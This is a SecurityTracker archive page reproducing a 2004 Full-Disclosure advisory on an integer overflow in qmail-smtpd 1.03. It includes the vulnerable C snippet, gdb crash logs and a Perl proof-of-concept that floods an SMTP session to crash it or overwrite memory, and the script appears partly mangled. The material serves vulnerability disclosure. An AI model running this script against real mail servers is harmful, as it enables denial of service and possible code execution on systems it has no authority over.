Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (E-mail Server)  >   qmail Vendors:   Bernstein, D. J.
qmail Buffer Overflow Lets Remote Users Overwrite Memory
SecurityTracker Alert ID:  1008733
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 15 2004
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.03
Description:   Two vulnerabilities were reported in qmail-smtpd. A remote user can cause the target system to overwrite memory and crash.

Georgi Guninski reported that a remote user can connect to the system with a 'long SMTP session' to cause the current qmail-smtpd session to crash.

He also reported that a remote user can connect to the system with a long SMTP session to trigger a buffer overflow and overwrite memory on the target system. It may be possible to crash the service or execute arbitrary code.

A demonstration exploit script is available at:

The vendor has reportedly been notified.

Impact:   A remote user can overwrite memory on the target system and may be able to execute arbitrary code.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.

 Source Message Contents

Subject:  [Full-Disclosure] Lame crash in qmail-smtpd and memory overwrite according to gdb,

Georgi Guninski security advisory #65, 2004

Lame crash in qmail-smtpd and memory overwrite according to gdb, yet still qmail much better than windows

Systems affected:
qmail 1.03 on linux, don't know about other OSes.

Risk: Unknown. maybe so, maybe no.
Date: 15 January 2004

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
Anything in this document may change without notice.

The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Actually there are two different problems:
a) It is possible to crash qmail-smtpd 1.03 from remote with a long SMTP
session. The crash is not global, it affects only the current SMTP session.

b) If gdb is to be believed, it is possible to overwrite memory in 
qmail-smtpd 1.03 from remote with a long SMTP session.


about a)
It is possible to trigger segmentation violation (SEGV) in qmail-smtpd  1.03 
on linux from the network.

The problem is in:
void blast(hops)
int *hops;
int pos; /* number of bytes since most recent \n, if fih */
   if (pos < 9) {
        if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos]) flagmaybez = 0;

When pos is incremented long enough, it becomes negative and the check 
(pos<9) passes while pos is around 0x80000000. 
Then "delivered"[pos] causes segmentation violation.

Don't know whether RFC compliant message can trigger this.

Here is a log of the crash:
./ localhost 25
qmail-smtpd SEGV. Written by Georgi Guninski
Will connect to localhost:25 touser=postmaster
<in another console>
ps awx | grep qmail-smtpd
1810 ?        R      0:06 qmail-smtpd

gdb attach 1810
GNU gdb
(gdb) cont
Program received signal SIGSEGV, Segmentation fault.
0x0804937c in blast (hops=0xbffffd8c) at qmail-smtpd.c:321
321             if (ch != "delivered"[pos]) if (ch != "DELIVERED"[pos]) flagmaybez = 0;
(gdb) p pos
$1 = -2147483648
(gdb) p/x pos
$2 = 0x80000000

about b:)
If gdb is to be believed, there is a memory screw (overflow) in qmail-smtpd.
To test it, uncomment the lines after "# !!! uncomment" in

Here is a gdb log:
gdb attach 1780
GNU gdb 
Attaching to process 1780
Reading symbols from /var/qmail/bin/qmail-smtpd...done.
Reading symbols from /lib/
Loaded symbols for /lib/
Reading symbols from /lib/
Loaded symbols for /lib/
0x401026c8 in read () from /lib/
(gdb) cont
Program received signal SIGPIPE, Broken pipe.
0x40102748 in write () from /lib/
#0  0x40102748 in write () from /lib/
#1  0x00000400 in ?? ()
#2  0x0804bb81 in substdio_flush (s=0x804eae4) at substdo.c:35
#3  0x0804bc1e in substdio_put (s=0x4, buf=0xbffffd5b "g\030", len=134540004)
    at substdo.c:64 <-- wtf is this len ??
#4  0x0804ab58 in qmail_put (qq=0x804eac0, s=0xbffffd5b "g\030", len=1)
    at qmail.c:56
#5  0x08049309 in put (ch=0xbffffd5b "g\030") at qmail-smtpd.c:290
#6  0x0804941d in blast (hops=0xbffffd8c) at qmail-smtpd.c:360
#7  0x08049669 in smtp_data () at qmail-smtpd.c:393
#8  0x08049a66 in commands (ss=0x804d09c, c=0x804d0c0) at commands.c:37
#9  0x080497c5 in main () at qmail-smtpd.c:430
#10 0x40042917 in __libc_start_main () from /lib/
(gdb) frame 2
#2  0x0804bb81 in substdio_flush (s=0x804eae4) at substdo.c:35
35        return allwrite(s->op,s->fd,s->x,p);
(gdb) p *s
$1 = {x = 0x67676767 "", p = 1734829927, n = 1734829927, fd = 1734829927,
  op = 0x67676767}

When you get s->op=0x67676767 it is not good :)

Note: qmail was compiled with debug info.
#!/usr/bin/perl -w

#Copyright Georgi Guninski\nCannot be used in vulnerability databases and 
#similar stuff

use IO::Socket;

my $port = $ARGV[1];
my $host = $ARGV[0];

my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || die "socket";

my $req  = "HELO a\r\n";
my $fromaddr="they\";
my $touser="postmaster";

print "qmail-smtpd SEGV. Copyright Georgi Guninski\nCannot be used in vulnerability databases and similar stuff\nWill connect to ${host}:${port}
 fromaddr=${fromaddr} touser=${touser}\n";

$req .= "MAIL FROM: ${fromaddr}\r\n";
$req .= "RCPT TO: ${touser}\r\n";

$req .= "DATA\r\n";

$req .= "1234567890";

#my $x = "\ng" x 100;
#print $x;


my $l1= 1024*1024;
my $p1 = "gg" x $l1;
my $pl = 2*$l1;
print "length=${pl}\n";
my $towrite = $l1*2050;
my $wri = 0;
$req = $p1;
while ($wri < $towrite)
if ( ($wri % $l1) == 0) {print "written=" . $wri/$l1 . "\n";}
# !!! uncomment the following lines to get qmail memory screw on linux according to gdb
#if ($wri/$l1 == 2044) 
#syswrite($socket,"g\r\n",3);print "injected\n";
$wri += $pl;

$req = "test\r\n";
$req .= ".\r\n";


print $_;

close $socket;


Workaround: Not tested, but setting quota on the receiving email may help.

Vendor status: was notified about a) on Mon, 12 Jan 2004 16:06:06 +0200
Message-Id: <>
Didn't hear from him.
His qsecretary wanted me to not be spammer and i confirmed i am not a
spammer to: 
To: "The qsecretary program" <>

Georgi Guninski

Full-Disclosure - We believe in it.


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, LLC